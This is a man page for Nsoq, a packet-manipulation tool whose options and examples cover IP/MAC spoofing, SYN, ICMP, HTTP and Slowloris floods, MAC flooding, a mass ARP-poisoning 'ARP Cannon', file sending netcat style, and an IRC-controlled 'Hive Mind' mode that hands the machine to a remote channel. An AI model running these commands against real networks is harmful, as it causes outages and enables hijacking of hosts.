NSOQ(8)

NAME
Nsoq - Network Security over a 'Q'rawler and RSOI Handler

DESCRIPTION

Nsoq is a Network Security Tool for packet manipulation that allows a large number of options. Its primary purpose is to analyze and test several scenarios of TCP/IP environments, such as TCP/UDP packets and low levels ARP/RARP packets. Nsoq sends packets to any target type (hostnames, IPs and MAC address) handling many fields/headers like: Source/Destination IP address, Source/Destination MAC address, TCP flags, ICMP types, TCP/UDP/ICMP packet size, payloads ARP/RARP, etc.

Nsoq is able to operate in the RSOI mode (Remote System over IRC), where the tool can surrender all control of machine resources to some specific IRC channels ( also called Hive Mind option).

Nsoq executes systematically many types of network based attacks, like packet attacks, MAC/IP Spoofing, DoS/DDoS attacks, ARP Poison, MAC Flooding and Web Stress Testing.

SYNOPSIS

[-cbzDvuRAUCWBSKY] [-s source] [-d destination] [-p port] [-P source_port] [-q number_packets] [-F delay] [-n number_threads] [-x packet_size] [-t ttl] [-Ie] [-IE] [-Id] [-It] [-Iq] [-Im] [-M mask] [-lI] [-Tc] [-Ts] [-Ta] [-Tr] [-Tf] [-Tp] [-Tx] [-Tn] [-lT <-P port>] [-lC <-P port>] [-lU <-P port>] [-i interface] [-h source_mac] [-H destination_mac] [-lE>] [-a ip_address] [-f number_packets] [-r ip_address-ip_address] [-e ip_address] [-N irc_server] [-L irc_channel] [-G channel_password]

OPTIONS

<GLOBAL>

-d <destination>
    Destination host (hostname or IP address).

-s <source>
    Source host (hostname or IP address). If -s (host) option is not specified, the Nsoq assumes the IP address found by the first interface defined on the system: (eth0, eth1, eth2, etc...) ordinarily.

-p <port>
    Destination port (remote port).

-P <source_port>
    Source port (local port).

-i <interface>
    Sets the interface option (Eg: -i eth0).

-q <number_packets>
    Number of packets to send.

-x <packet_size>
    Sets the packet size. The package size cannot be larger than 1470 bytes or larger than defined system MTU (e.g.: MTU=1500).

-t <ttl>
    Sets the TTL field

-c  Continuous mode. Sends packets without interruption with regular interval of 1 (one) second between the shoots.

-F <delay>
    Flood option. Set the time (delay) between the shoots (in microseconds). The -F option cannot be used with -c or -b options.

-b  Aggressive flood. This option puts Nsoq optimized to send the largest number of packets in a short amount of time [CAUTION].

-z  Don't wait for replies. Ignore packet responses.

-n <number_threads>
    Number of threads to use on sending option.

-D  Display the packet content on receiving packets (tcpdump style).

-V  Print the Version.

--help
    Print the initial help page with arguments.

<ICMP Options>

-Ie Sends an ICMP packet Type 8 (Echo Request). The target will respond with an ICMP packet Type 0 (Echo Reply) if server is alive.

-IE Sends an ICMP packet Type 0 (Echo Reply).

-Id Sends ICMP packets Type 15 (Information Request).

-It Sends ICMP packets Type 13 (Timestamp Request).

-Iq Sends ICMP packets Type 4 (Source Quench).

-Im Send ICMP packets Type 17 (Mask Request). If the target is configured to reply a request mask, a MaskReply packet will be received with the Mask.

-M <Mask>
    Send ICMP packets Type 18 (Mask Reply). The "Mask" argument is the mask defined for packet. (Eg: -M 255.255.0.0).

-lI ICMP Listen Mode. Listen for incoming ICMP packets. Any ICMP packet "unicast" will be captured.

<TCP Options>

-Tc Simple TCP connection to target. The option -p port is required. This option uses connect() routine for synchronization.

-Ts Sends a TCP SYN packet (TCP packet with the SYN bit on).

-Ta Sends a TCP ACK packet (TCP packet with the ACK bit on)..

-Tf Sends a TCP FINAL packet (TCP packet with the FIN bit on).

-Tr Sends a TCP RESET packet (TCP packet with the RST bit on).

-Tp Sends a TCP PUSH packet (TCP packet with the PSH bit on).

-Tx Sends a TCP packet XMAS (TCP packet with the FIN-PUSH-URG bits on).

-Tn Sends a NULL TCP packet (TCP packet with the NONE bits on. All tcp flags off).

-lT <-P port>
    TCP Listen Mode. Listen for incoming TCP packets. This option needs to use the "-P port" flag.

-lC <-P port>
    Listen for TCP connections. This option needs to use the "-P port" flag. This listener uses the accept() function for synchronization.

<UDP Options>

-u  UDP mode.

-lU <-P port>
    UDP Listen Mode. Listens for incoming UDP packets. This option is used with the "-P port" flag. The UDP mode doesn't use a stream connection.

<ARP/RARP Options>

-h <source_mac>
    Destination MAC address. Option required for ARP packets. This option requires a destination IP address. If "-d (destination)" is not given, Nsoq will assume by default a NULL value on this field header. Form: -H AA:DD:CC:22:11:AA.

-H <destination_mac>
    Source MAC address. This option requires the source IP address. If "-s (source)" is not given, Nsoq assumes by default the first IP address defined by the first interface found in the system (eth0, eth1, eth2, etc). Form: -h AA:DD:CC:22:11:AA.

-R  Defines the frame type like a RARP packet. All ARP/RARP packets sent by Nsoq on the link layer are ARP by default. If "-R" is typed, then Nsoq send RARP packets instead.

-A  Defines the frame type to REQUEST packet. The packets sent by Nsoq on the link layer are REPLY by default. If "-A" is defined, then Nsoq sets the ARP/RARP packets to "REQUEST" type instead.

-a <ip_address>
    Arping Mode. This option sends ARP REQUEST packets to a given IP address. The target receives the packet and returns an ARP REPLY packet. This option is very useful for hosts that filtering ICMP pings.

-f <number_packets>
    Mac Flood (CAUTION !!). This option sends ARP REPLY packets with SOURCE MAC, DESTINATION MAC, SOURCE IP ADDRESS and DESTINATION IP ADDRESS (randomly generated) on Aggressive Food. If the "-i (interface)" is not given, Nsoq takes the first valid interface found in the System. Eg usage: # nsoq -f 120000. This option does a flooding by sending 120000 packets with random IP addresses and random MAC addresses. This attack is also called MAC FLOODING. Note: USE THIS OPTION VERY CAREFULLY. THIS CAN OVERFLOW THE ROUTING TABLES OR CAUSE UNEXPECTED BEHAVIOR ON SWITCHES AND NEIGHBORING'S HOSTS ON THE NETWORK.

-r <ip_address-ip_address>
    ARP Cannon (CAUTION !!). This option sets Nsoq to send ARP REPLY packets to all defined IP addresses in the range "IP - IP". These packets will have a destination MAC address defined to physical broadcast address (FF:FF:FF:FF:FF:FF) and source MAC address randomly generated. The option range (IP-IP) needs to be in the format shown below. Eg: # nsoq -r 10.1.1.1-10.1.1.240 The above option does a flooding to destination physical broadcast FF:FF:FF:FF:FF:FF, saying to network enlace that all IP addresses in the range "10.1.1.1 to 10.1.1.240" will have a source MAC addresses randomly generated. This attack is also called MASSIVE ARP POISONING. This action probably TAKE DOWN for moments all IP addresses defined in the range argument. NOTE: USE THIS OPTION VERY CAREFULLY.

-e <ip_address>
    This option excludes the "ip address" from option ARP CANNON (-r ip-ip) above defined. Eg: # nsoq -r 10.1.1.1-10.1.1.240 -e 10.1.1.10. The above option will exclude the IP address "10.1.1.10" from ARP CANNON attack.

-lA Listen for incoming ARP/RARP packets on link layer.

<WEB Stress Test Options>

-U  UDP attack. Sends UDP packets on flood mode to HTTP host (default: Port 80).

-C  TCP connections attack. Do TCP connections to HTTP host (default: Port 80).

-W  WEB HTTP attack. Makes HTTP requests (GET) to HTTP host (default: Port 80).

-B  ICMP attack. Sends ICMP packets on flood mode to HTTP host. (Also called Death Ping).

-S  TCP SYN attack. Sends TCP SYN packets on flood mode to HTTP host (default: Port 80). Also called SYN Flood attack.

-K  TCP ACK attack. Sends TCP ACK packets on flood mode to HTTP host (default: Port 80).

-Y  SLOWLORIS HTTP attack. Sends partials HTTP packets (Slowloris) to host (default: Port 80).

[INFO] Use the option -p <port> to set other port than 80.

<HIVE MIND (Mass Remote Control) options>
                RSOI - Remote System over IRC

-N <irc_server>
    An IRC network to connect. This option is required to put Nsoq on RSOI mode.

-L <irc_channel>
    IRC channel for connection. If this option is not given, then Nsoq will enter on #nsoq channel by default.

-G <password>
    IRC channel's password (if exists). If this option is not given, then Nsoq will type the password's channel like "nsoqpass" by default.

EXAMPLES

# nsoq -d hexcodes -Ie
    Sends one ICMP packet (Echo Request) to host "hexcodes".

# nsoq -lI
    ICMP listen mode. Listen for ICMP packets like PINGs.

# nsoq -It -d www.nsoq.org -c
    Sends ICMP packets (Timestamp Request) on continuous mode to server "nsoq.org".

# nsoq -s 10.1.100.100 -d www.nsoq.org -u -p 4140
    Sends one empty UDP packet with spoofed source ip "10.1.100.100" to host "hexcodes" on port 4140.

# nsoq -d www.nsoq.org -u -p 9000 -P 22000 -F 900 -q 20
    Sends only 20 UDP packets to the server "nsoq.org" on port 9000, from source port 22000 with flood Delay of 900 microseconds.

# nsoq -d 201.1.0.13 -Ie -x 512 -t 50 -z
    Sets Nsoq for sending ICMP packets (Echo Request) with size of 512 bytes to host "201.1.0.13" with TTL 50. Doesn't wait by ICMP Echo ReplY.

# nsoq -lU -P 59
    Listen UDP packets on local port 59 (all addresses and loopback).

# nsoq -d hexcodes -Ts -p 6000
    Sends a TCP SYN packet to host "hexcodes" on port 6000.

# nsoq -lC -P 12345 > file.txt
    Listen for TCP connections on local port '12345', and write the received data to the file 'file.txt'.

# nsoq -d hexcodes -p 12345 < /etc/hosts
    Connect to host 'hexcodes' reading the file '/etc/hosts. The file content will be send over the TCP connection on port '12345' (netcat style).

# nsoq -lC -P 12345 -s 10.0.0.1
    Listen for TCP connections on local port "12345" (only bound on address 10.0.0.1).

# nsoq -lT -P 2134 -D
    Listen for TCP packets on local port "2134" and show the packet content.

# nsoq -d www.nsoq.org -Tr -p 8080 -n 12 -b
    Sends TCP RST packets to server "www.nsoq.org" on port 8080, with 12 threads and aggressive flood mode (HOT).

# nsoq -H FF:FF:FF:FF:FF:FF
    Sends an ARP REPLY packet to physical Broadcast FF:FF:FF:FF:FF:FF. (The source MAC address and the source IP address will be obtained locally by the active interface. The destination IP address will be NULL).

# nsoq -i eth2 -h 00:BB:AA:CC:BB:AA -H FF:FF:FF:FF:FF:FF -d 10.1.10.1 -A
    Sends an ARP REQUEST packet by the eth2 interface with source MAC 00:BB:AA:CC:BB:AA, to destination physical Broadcast FF:FF:FF:FF:FF:FF, asking "Who ??" on the network have the IP address "10.1.10.1". The IP "10.1.10.1" (if alive) will respond with an ARP REPLY filled with its own MAC/IP address pair.

# nsoq -s 10.2.2.100 -h 00:CC:AA:CC:BB:AA -H FF:FF:FF:FF:FF:FF
    Sends an ARP REPLY packet to destination physical Broadcast FF:FF:FF:FF:FF:FF saying that the source IP address "10.2.2.100" have now the MAC address 00:CC:AA:CC:BB:AA. (Caution: This option changes the ARP cache table. Possible ARP poisoning attack).

# nsoq -a 10.1.50.100
    Sends one Arp'ing packet to Host "10.1.50.100". If the host hardware is alive on network or LAN, by default an ARP REPLY will be returned. Otherwise, nothing happens. This option can be used to bypass ICMP filters (PING filters).

# nsoq -f 250000
    Sends 250000 ARP REPLY packets (to physical broadcast) with the fields (SOURCE MAC, DESTINATION MAC, SOURCE IP and DESTINATION IP ADDRESSESS) randomly generated.

# nsoq -lA -D
    Listen for ARP/RARP packets. Listen for all incoming ARP/RARP packets on link layer and show the packet content.

# nsoq -N irc.quakenet.org -L Cybers
    Sets Nsoq to connect on IRC Server "irc.quakenet.org" on channel #Cybers. This option puts Nsoq on RSOI mode. So, the tool will be NO AVAILABLE to be controled by the user. Only the users on IRC server "irc.quakenet.org" channel #Cybers can do this.

# nsoq -d 10.0.0.1 -W -n 40
    Sets the Nsoq to "WEB Stress Mode". This option puts Nsoq to send HTTP requests (GET method) on aggressive flood to host "10.0.0.1" on port 80 (default) with 40 threads. This stress test attempts to exhaust the web service's resources and check the target's limit response.

OBSERVATIONS

More examples or discussions about Dark/White side and RSOI mode (Hive Mind), please check this: http://www.nsoq.org/docs/nsoq.txt

SEE ALSO

tcpdump(8). nmap(1), netcat(1), arping(8).

AUTHOR

Nsoq was written by Felipe Ecker (Khun) <khun@hexcodes.org>.

SECURITY

Nsoq needs superuser privileges (root) for execution. DO NOT use the bit SUID to allow root privileges. This is not recommended and may allow involuntary or aggressive DoS/DDoS attacks. The privileged use of Nsoq also allows users to manipulate the ARP cache table of neighbors on network, or put all the system over a remote control.

DISPONIBILITY

Nsoq is licensed under GPL and Free Software Foundation. A copy of the license accompanies the software, and (licensed under GPL 3 - Copyright (C) Felipe Ecker). The Nsoq can be freely downloaded here: http://www.nsoq.org/